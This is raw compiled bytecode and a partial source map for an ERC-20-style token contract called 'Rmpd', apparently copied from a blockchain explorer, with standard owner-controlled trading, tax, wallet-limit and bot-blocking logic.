69c6d66d58233103d37da8b07d6b850ac6107d96009600a611711565b6107e790633b9aca00611720565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108245760405162461bcd60e51b815260040161046090611737565b601354600160a01b900460ff161561087e5760405162461bcd60e51b815260206004820152601d60248201527f526d70643a2054726164696e6720697320616c7265616479206f70656e0000006044820152606401610460565b6012546001600160a01b031663f305d71947306108b0816001600160a01b031660009081526001602052604090205490565b6000806108c56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109529190611798565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf91906117c6565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a4b5760405162461bcd60e51b815260206004820152602360248201527f526d70643a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b6001600160a01b038216610aab5760405162461bcd60e51b815260206004820152602160248201527f526d70643a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610460565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6e5760405162461bcd60e51b8152602060048201526024808201527f526d70643a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602260248201527f526d70643a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b60008111610c375760405162461bcd60e51b815260206004820152602f60248201527f526d70643a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b6064820152608401610460565b6001600160a01b03831660009081526003602052604081205460ff16158015610c7957506001600160a01b03831660009081526003602052604090205460ff16155b15610ffa576001600160a01b03841660009081526004602052604090205460ff16158015610cc057506001600160a01b03831660009081526004602052604090205460ff16155b610cc957600080fd5b600e54600003610d0257610cff6064610cf9600a54600e5411610cee57600654610cf2565b6008545b8590611177565b90611204565b90505b600e5415610d2757610d246064610cf9600d548561117790919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d5257506012546001600160a01b03848116911614155b8015610d7757506001600160a01b03831660009081526003602052604090205460ff16155b15610e9757600f54821115610ddf5760405162461bcd60e51b815260206004820152602860248201527f526d70643a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b6064820152608401610460565b60105482610e02856001600160a01b031660009081526001602052604090205490565b610e0c91906117e8565b1115610e645760405162461bcd60e51b815260206004820152602160248201527f526d70643a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b6064820152608401610460565b610e7f6064610cf9600a54600e5411610cee57600654610cf2565b600e80549192506000610e91836117fb565b91905055505b6013546001600160a01b038481169116148015610ebd57506001600160a01b0384163014155b15610eea57610ee76064610cf9600b54600e5411610edd57600754610cf2565b6009548590611177565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2157506013546001600160a01b038581169116145b8015610f365750601354600160b01b900460ff165b8015610f455750600c54600e54115b15610ff857601554431115610f5a5760006014555b600360145410610fb85760405162461bcd60e51b8152602060048201526024808201527f526d70643a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b6064820152608401610460565b610fd5610fd084610fcb84601154611246565b611246565b61125b565b610fde476113fe565b60148054906000610fee836117fb565b9091555050436015555b505b8015611074573060009081526001602052604090205461101a908261143c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106b9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611097908361149b565b6001600160a01b0385166000908152600160205260409020556110dc6110bd838361149b565b6001600160a01b0385166000908152600160205260409020549061143c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611126858561149b565b60405190815260200160405180910390a350505050565b600081848411156111615760405162461bcd60e51b815260040161046091906114ee565b50600061116e8486611814565b95945050505050565b600082600003611189575060006103a6565b60006111958385611720565b9050826111a28583611827565b146111fd5760405162461bcd60e51b815260206004820152602560248201527f526d7064536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b6064820152608401610460565b9392505050565b60006111fd83836040518060400160405280601e81526020017f526d7064536166654d6174683a206469766973696f6e206279207a65726f00008152506114c0565b600081831161125557826111fd565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a3576112a3611849565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112d157506113ee565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611324573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611348919061177b565b8160018151811061135b5761135b611849565b6001600160a01b03928316602091820292909201015260125461138191309116846109e9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ba90859060009086903090429060040161185f565b600060405180830381600087803b1580156113d457600080fd5b505af11580156113e8573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611438573d6000803e3d6000fd5b5050565b60008061144983856117e8565b9050838110156111fd5760405162461bcd60e51b815260206004820152601f60248201527f526d7064536166654d6174683a206164646974696f6e206f766572666c6f77006044820152606401610460565b60006111fd83836040518060600160405280602281526020016118f86022913961113d565b600081836114e15760405162461bcd60e51b815260040161046091906114ee565b50600061116e8486611827565b600060208083528351808285015260005b8181101561151b578581018301518582016040015282016114ff565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155157600080fd5b50565b6000806040838503121561156757600080fd5b82356115728161153c565b946020939093013593505050565b60008060006060848603121561159557600080fd5b83356115a08161153c565b925060208401356115b08161153c565b929592945050506040919091013590565b6000602082840312156115d357600080fd5b81356111fd8161153c565b600080604083850312156115f157600080fd5b82356115fc8161153c565b9150602083013561160c8161153c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166857816000190482111561164e5761164e611617565b8085161561165b57918102915b93841c9390800290611632565b509250929050565b60008261167f575060016103a6565b8161168c575060006103a6565b81600181146116a257600281146116ac576116c8565b60019150506103a6565b60ff8411156116bd576116bd611617565b50506001821b6103a6565b5060208310610133831016604e8410600b84101617156116eb575081810a6103a6565b6116f5838361162d565b806000190482111561170957611709611617565b029392505050565b60006111fd60ff841683611670565b80820281158282048414176103a6576103a6611617565b60208082526024908201527f526d70644f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b60006020828403121561178d57600080fd5b81516111fd8161153c565b6000806000606084860312156117ad57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d857600080fd5b815180151581146111fd57600080fd5b808201808211156103a6576103a6611617565b60006001820161180d5761180d611617565b5060010190565b818103818111156103a6576103a6611617565b60008261184457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118af5784516001600160a01b03168352938301939183019160010161188a565b50506001600160a01b0396909616606085015250505060800152939250505056fe526d70643a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526d7064536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220c47dcfee9d65e123bf83f2ad3101c319e91bebe704f2744789cc7f802aa3431264736f6c63430008130033

Deployed Bytecode Sourcemap

3599:7935:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4579:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4579:63:0;;;;;;;;5590:83;;;;;;;;;;-1:-1:-1;5660:5:0;;;;;;;;;;;;-1:-1:-1;;;5660:5:0;;;;5590:83;;;;;;;:::i;6428:161::-;;;;;;;;;;-1:-1:-1;6428:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6428:161:0;1205:187:1;5867:100:0;;;;;;;;;;;;;:::i;6597:312::-;;;;;;;;;;-1:-1:-1;6597:312:0;;;;;:::i;:::-;;:::i;5776:83::-;;;;;;;;;;-1:-1:-1;5776:83:0;;4383:1;2000:36:1;;1988:2;1973:18;5776:83:0;1858:184:1;5975:119:0;;;;;;;;;;-1:-1:-1;5975:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6068:18:0;6041:7;6068:18;;;:9;:18;;;;;;;5975:119;2692:148;;;;;;;;;;;;;:::i;:::-;;4712:53;;;;;;;;;;;;;;;;10788:309;;;;;;;;;;;;;:::i;2474:79::-;;;;;;;;;;-1:-1:-1;2512:7:0;2539:6;2474:79;;-1:-1:-1;;;;;2539:6:0;;;2445:51:1;;2433:2;2418:18;2474:79:0;2299:203:1;5681:87:0;;;;;;;;;;-1:-1:-1;5753:7:0;;;;;;;;;;;;-1:-1:-1;;;5753:7:0;;;;5681:87;;9605:242;;;;;;;;;;-1:-1:-1;9605:242:0;;;;;:::i;:::-;;:::i;6102:167::-;;;;;;;;;;-1:-1:-1;6102:167:0;;;;;:::i;:::-;;:::i;4649:56::-;;;;;;;;;;;;;;;;10487:193;;;;;;;;;;;;;:::i;11105:389::-;;;;;;;;;;;;;:::i;6277:143::-;;;;;;;;;;-1:-1:-1;6277:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6385:18:0;;;6358:7;6385:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6277:143;6428:161;6503:4;6520:39;284:10;6543:7;6552:6;6520:8;:39::i;:::-;-1:-1:-1;6577:4:0;6428:161;;;;;:::o;5867:100::-;5920:7;4444:13;4383:1;4444:2;:13;:::i;:::-;4431:26;;:10;:26;:::i;:::-;5940:19;;5867:100;:::o;6597:312::-;6695:4;6712:36;6722:6;6730:9;6741:6;6712:9;:36::i;:::-;6759:120;6768:6;284:10;6790:88;6828:6;6790:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6790:19:0;;;;;;:11;:19;;;;;;;;284:10;6790:33;;;;;;;;;;:37;:88::i;:::-;6759:8;:120::i;:::-;-1:-1:-1;6897:4:0;6597:312;;;;;:::o;2692:148::-;2601:6;;-1:-1:-1;;;;;2601:6:0;284:10;2601:22;2593:71;;;;-1:-1:-1;;;2593:71:0;;;;;;;:::i;:::-;;;;;;;;;2799:1:::1;2783:6:::0;;2762:40:::1;::::0;-1:-1:-1;;;;;2783:6:0;;::::1;::::0;2762:40:::1;::::0;2799:1;;2762:40:::1;2830:1;2813:19:::0;;-1:-1:-1;;;;;;2813:19:0::1;::::0;;2692:148::o;10788:309::-;2601:6;;-1:-1:-1;;;;;2601:6:0;284:10;2601:22;2593:71;;;;-1:-1:-1;;;2593:71:0;;;;;;;:::i;:::-;10844:11:::1;:71:::0;;-1:-1:-1;;;;;;10844:71:0::1;10872:42;10844:71:::0;;::::1;::::0;;;10926:59:::1;::::0;10943:4:::1;::::0;4444:13:::1;4383:1;4444:2;:13;:::i;:::-;4431:26;::::0;:10:::1;:26;:::i;10926:59::-;11021:11;;;;;;;;;-1:-1:-1::0;;;;;11021:11:0::1;-1:-1:-1::0;;;;;11021:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11008:46:0::1;;11063:4;11070:11;;;;;;;;;-1:-1:-1::0;;;;;11070:11:0::1;-1:-1:-1::0;;;;;11070:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11008:81;::::0;-1:-1:-1;;;;;;11008:81:0::1;::::0;;;;;;-1:-1:-1;;;;;5479:15:1;;;11008:81:0::1;::::0;::::1;5461:34:1::0;5531:15;;5511:18;;;5504:43;5396:18;;11008:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10996:9;:93:::0;;-1:-1:-1;;;;;;10996:93:0::1;-1:-1:-1::0;;;;;10996:93:0;;;::::1;::::0;;;::::1;::::0;;10788:309::o;9605:242::-;9705:11;;-1:-1:-1;;;;;9705:11:0;9691:10;:25;9683:58;;;;-1:-1:-1;;;9683:58:0;;5760:2:1;9683:58:0;;;5742:21:1;5799:2;5779:18;;;5772:30;-1:-1:-1;;;5818:18:1;;;5811:50;5878:18;;9683:58:0;5558:344:1;9683:58:0;9752:44;9761:9;9772;4444:13;4383:1;4444:2;:13;:::i;9752:44::-;9807:11;:32;;-1:-1:-1;;;;;;9807:32:0;-1:-1:-1;;;;;9807:32:0;;;;;;;;;;-1:-1:-1;9605:242:0:o;6102:167::-;6180:4;6197:42;284:10;6221:9;6232:6;6197:9;:42::i;10487:193::-;2601:6;;-1:-1:-1;;;;;2601:6:0;284:10;2601:22;2593:71;;;;-1:-1:-1;;;2593:71:0;;;;;;;:::i;:::-;4444:13:::1;4383:1;4444:2;:13;:::i;:::-;4431:26;::::0;:10:::1;:26;:::i;:::-;10539:21;:36:::0;4444:13:::1;4383:1;4444:2;:13;:::i;:::-;4431:26;::::0;:10:::1;:26;:::i;:::-;10586:14;:29:::0;10631:41:::1;4444:13;4383:1;4444:2;:13;:::i;:::-;4431:26;::::0;:10:::1;:26;:::i;:::-;10631:41;::::0;160:25:1;;;148:2;133:18;10631:41:0::1;;;;;;;10487:193::o:0;11105:389::-;2601:6;;-1:-1:-1;;;;;2601:6:0;284:10;2601:22;2593:71;;;;-1:-1:-1;;;2593:71:0;;;;;;;:::i;:::-;11166:12:::1;::::0;-1:-1:-1;;;11166:12:0;::::1;;;11165:13;11157:55;;;::::0;-1:-1:-1;;;11157:55:0;;6109:2:1;11157:55:0::1;::::0;::::1;6091:21:1::0;6148:2;6128:18;;;6121:30;6187:31;6167:18;;;6160:59;6236:18;;11157:55:0::1;5907:353:1::0;11157:55:0::1;11223:11;::::0;-1:-1:-1;;;;;11223:11:0::1;:27;11258:21;11289:4;11296:24;11289:4:::0;-1:-1:-1;;;;;6068:18:0;6041:7;6068:18;;;:9;:18;;;;;;;5975:119;11296:24:::1;11322:1;11325::::0;11328:7:::1;2512::::0;2539:6;-1:-1:-1;;;;;2539:6:0;;2474:79;11328:7:::1;11223:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11223:130:0;;;-1:-1:-1;;;;;6624:15:1;;;11223:130:0::1;::::0;::::1;6606:34:1::0;6656:18;;;6649:34;;;;6699:18;;;6692:34;;;;6742:18;;;6735:34;6806:15;;;6785:19;;;6778:44;11337:15:0::1;6838:19:1::0;;;6831:35;6540:19;;11223:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11370:9:0::1;::::0;11397:11:::1;::::0;11364:62:::1;::::0;-1:-1:-1;;;11364:62:0;;-1:-1:-1;;;;;11397:11:0;;::::1;11364:62;::::0;::::1;7362:51:1::0;-1:-1:-1;;7429:18:1;;;7422:34;11370:9:0;::::1;::::0;-1:-1:-1;11364:24:0::1;::::0;7335:18:1;;11364:62:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11437:12:0::1;:19:::0;;-1:-1:-1;;;;11467:19:0;-1:-1:-1;;;11467:19:0;;;11105:389::o;6917:333::-;-1:-1:-1;;;;;7010:19:0;;7002:67;;;;-1:-1:-1;;;7002:67:0;;7951:2:1;7002:67:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:33;8123:19;;7002:67:0;7749:399:1;7002:67:0;-1:-1:-1;;;;;7088:21:0;;7080:67;;;;-1:-1:-1;;;7080:67:0;;8355:2:1;7080:67:0;;;8337:21:1;8394:2;8374:18;;;8367:30;8433:34;8413:18;;;8406:62;-1:-1:-1;;;8484:18:1;;;8477:31;8525:19;;7080:67:0;8153:397:1;7080:67:0;-1:-1:-1;;;;;7158:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7210:32;;160:25:1;;;7210:32:0;;133:18:1;7210:32:0;;;;;;;6917:333;;;:::o;7258:2339::-;-1:-1:-1;;;;;7346:18:0;;7338:67;;;;-1:-1:-1;;;7338:67:0;;8757:2:1;7338:67:0;;;8739:21:1;8796:2;8776:18;;;8769:30;8835:34;8815:18;;;8808:62;-1:-1:-1;;;8886:18:1;;;8879:34;8930:19;;7338:67:0;8555:400:1;7338:67:0;-1:-1:-1;;;;;7424:16:0;;7416:63;;;;-1:-1:-1;;;7416:63:0;;9162:2:1;7416:63:0;;;9144:21:1;9201:2;9181:18;;;9174:30;9240:34;9220:18;;;9213:62;-1:-1:-1;;;9291:18:1;;;9284:32;9333:19;;7416:63:0;8960:398:1;7416:63:0;7507:1;7498:6;:10;7490:70;;;;-1:-1:-1;;;7490:70:0;;9565:2:1;7490:70:0;;;9547:21:1;9604:2;9584:18;;;9577:30;9643:34;9623:18;;;9616:62;-1:-1:-1;;;9694:18:1;;;9687:45;9749:19;;7490:70:0;9363:411:1;7490:70:0;-1:-1:-1;;;;;7606:24:0;;7571:17;7606:24;;;:18;:24;;;;;;;;7605:25;:52;;;;-1:-1:-1;;;;;;7635:22:0;;;;;;:18;:22;;;;;;;;7634:23;7605:52;7601:1627;;;-1:-1:-1;;;;;7683:11:0;;;;;;:5;:11;;;;;;;;7682:12;:26;;;;-1:-1:-1;;;;;;7699:9:0;;;;;;:5;:9;;;;;;;;7698:10;7682:26;7674:35;;;;;;7729:9;;7740:1;7729:12;7726:140;;7773:77;7846:3;7773:68;7795:17;;7785:9;;:27;7784:56;;7826:14;;7784:56;;;7814:11;;7784:56;7773:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7761:89;;7726:140;7883:9;;:11;7880:95;;7926:33;7955:3;7926:24;7937:12;;7926:6;:10;;:24;;;;:::i;:33::-;7914:45;;7880:95;8003:9;;-1:-1:-1;;;;;7995:17:0;;;8003:9;;7995:17;:47;;;;-1:-1:-1;8030:11:0;;-1:-1:-1;;;;;8016:26:0;;;8030:11;;8016:26;;7995:47;:74;;;;-1:-1:-1;;;;;;8047:22:0;;;;;;:18;:22;;;;;;;;8046:23;7995:74;7991:442;;;8108:21;;8098:6;:31;;8090:84;;;;-1:-1:-1;;;8090:84:0;;9981:2:1;8090:84:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:34;10039:18;;;10032:62;-1:-1:-1;;;10110:18:1;;;10103:38;10158:19;;8090:84:0;9779:404:1;8090:84:0;8227:14;;8217:6;8201:13;8211:2;-1:-1:-1;;;;;6068:18:0;6041:7;6068:18;;;:9;:18;;;;;;;5975:119;8201:13;:22;;;;:::i;:::-;:40;;8193:86;;;;-1:-1:-1;;;8193:86:0;;10520:2:1;8193:86:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;8193:86:0;10318:397:1;8193:86:0;8310:77;8383:3;8310:68;8332:17;;8322:9;;:27;8321:56;;8363:14;;8321:56;;8310:77;8406:9;:11;;8298:89;;-1:-1:-1;8406:9:0;:11;;;:::i;:::-;;;;;;7991:442;8458:9;;-1:-1:-1;;;;;8452:15:0;;;8458:9;;8452:15;:40;;;;-1:-1:-1;;;;;;8471:21:0;;8487:4;8471:21;;8452:40;8449:171;;;8524:80;8600:3;8524:71;8546:18;;8536:9;;:28;8535:59;;8579:15;;8535:59;;;8566:12;;8524:6;;:10;:71::i;:80::-;8512:92;;8449:171;8685:4;8636:28;6068:18;;;:9;:18;;;;;;8711:7;;-1:-1:-1;;;8711:7:0;;;;8710:8;:27;;;;-1:-1:-1;8728:9:0;;-1:-1:-1;;;;;8722:15:0;;;8728:9;;8722:15;8710:27;:43;;;;-1:-1:-1;8741:12:0;;-1:-1:-1;;;8741:12:0;;;;8710:43;:77;;;;;8769:18;;8757:9;;:30;8710:77;8706:511;;;8827:14;;8812:12;:29;8808:92;;;8879:1;8866:10;:14;8808:92;8939:1;8926:10;;:14;8918:63;;;;-1:-1:-1;;;8918:63:0;;11062:2:1;8918:63:0;;;11044:21:1;11101:2;11081:18;;;11074:30;11140:34;11120:18;;;11113:62;-1:-1:-1;;;11191:18:1;;;11184:34;11235:19;;8918:63:0;10860:400:1;8918:63:0;9000:69;9017:51;9021:6;9029:38;9033:20;9055:11;;9029:3;:38::i;:::-;9017:3;:51::i;:::-;9000:16;:69::i;:::-;9088:34;9100:21;9088:11;:34::i;:::-;9141:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9189:12:0;9172:14;:29;8706:511;7659:1569;7601:1627;9243:13;;9240:170;;9317:4;9299:24;;;;:9;:24;;;;;;:39;;9328:9;9299:28;:39::i;:::-;9290:4;9272:24;;;;:9;:24;;;;;;;:66;;;;9358:40;;-1:-1:-1;;;;;9358:40:0;;;;;;;9388:9;160:25:1;;148:2;133:18;;14:177;9358:40:0;;;;;;;;9240:170;-1:-1:-1;;;;;9438:15:0;;;;;;:9;:15;;;;;;:27;;9458:6;9438:19;:27::i;:::-;-1:-1:-1;;;;;9420:15:0;;;;;;:9;:15;;;;;:45;9492:40;9510:21;:6;9521:9;9510:10;:21::i;:::-;-1:-1:-1;;;;;9492:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9476:13:0;;;;;;;:9;:13;;;;;:56;;;;9548:41;;;9567:21;:6;9578:9;9567:10;:21::i;:::-;9548:41;;160:25:1;;;148:2;133:18;9548:41:0;;;;;;;7327:2270;7258:2339;;;:::o;1352:190::-;1438:7;1474:12;1466:6;;;;1458:29;;;;-1:-1:-1;;;1458:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1498:9:0;1510:5;1514:1;1510;:5;:::i;:::-;1498:17;1352:190;-1:-1:-1;;;;;1352:190:0:o;1550:250::-;1608:7;1632:1;1637;1632:6;1628:47;;-1:-1:-1;1662:1:0;1655:8;;1628:47;1685:9;1697:5;1701:1;1697;:5;:::i;:::-;1685:17;-1:-1:-1;1730:1:0;1721:5;1725:1;1685:17;1721:5;:::i;:::-;:10;1713:60;;;;-1:-1:-1;;;1713:60:0;;11822:2:1;1713:60:0;;;11804:21:1;11861:2;11841:18;;;11834:30;11900:34;11880:18;;;11873:62;-1:-1:-1;;;11951:18:1;;;11944:35;11996:19;;1713:60:0;11620:401:1;1713:60:0;1791:1;1550:250;-1:-1:-1;;;1550:250:0:o;1808:136::-;1866:7;1893:43;1897:1;1900;1893:43;;;;;;;;;;;;;;;;;:3;:43::i;9855:106::-;9912:7;9943:1;9939;:5;9938:15;;9952:1;9938:15;;;-1:-1:-1;9948:1:0;9855:106;-1:-1:-1;9855:106:0:o;9969:510::-;5185:7;:14;;-1:-1:-1;;;;5185:14:0;-1:-1:-1;;;5185:14:0;;;10071:16:::1;::::0;;10085:1:::1;10071:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10071:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10071:16:0::1;10047:40;;10116:4;10098;10103:1;10098:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10098:23:0::1;;;-1:-1:-1::0;;;;;10098:23:0::1;;;::::0;::::1;10136:11;10151:1;10136:16:::0;10132:29:::1;;10154:7;;;10132:29;10181:11;;;;;;;;;-1:-1:-1::0;;;;;10181:11:0::1;-1:-1:-1::0;;;;;10181:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10171:4;10176:1;10171:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10171:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10242:11:::1;::::0;10210:58:::1;::::0;10227:4:::1;::::0;10242:11:::1;10256::::0;10210:8:::1;:58::i;:::-;10279:11;::::0;:192:::1;::::0;-1:-1:-1;;;10279:192:0;;-1:-1:-1;;;;;10279:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10356:11;;10279::::1;::::0;10398:4;;10425::::1;::::0;10445:15:::1;::::0;10279:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10036:443;5210:1;-1:-1:-1::0;5222:7:0;:15;;-1:-1:-1;;;;5222:15:0;;;9969:510::o;10688:92::-;10744:11;;:28;;-1:-1:-1;;;;;10744:11:0;;;;:28;;;;;10765:6;;10744:11;:28;:11;:28;10765:6;10744:11;:28;;;;;;;;;;;;;;;;;;;;;10688:92;:::o;1013:183::-;1071:7;;1103:5;1107:1;1103;:5;:::i;:::-;1091:17;;1132:1;1127;:6;;1119:50;;;;-1:-1:-1;;;1119:50:0;;13477:2:1;1119:50:0;;;13459:21:1;13516:2;13496:18;;;13489:30;13555:33;13535:18;;;13528:61;13606:18;;1119:50:0;13275:355:1;1204:140:0;1262:7;1289:47;1293:1;1296;1289:47;;;;;;;;;;;;;;;;;:3;:47::i;1952:189::-;2038:7;2073:12;2066:5;2058:28;;;;-1:-1:-1;;;2058:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2097:9:0;2109:5;2113:1;2109;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:400::-;4790:2;4772:21;;;4829:2;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;-1:-1:-1;;;4934:2:1;4919:18;;4912:34;4978:3;4963:19;;4588:400::o;4993:251::-;5063:6;5116:2;5104:9;5095:7;5091:23;5087:32;5084:52;;;5132:1;5129;5122:12;5084:52;5164:9;5158:16;5183:31;5208:5;5183:31;:::i;6877:306::-;6965:6;6973;6981;7034:2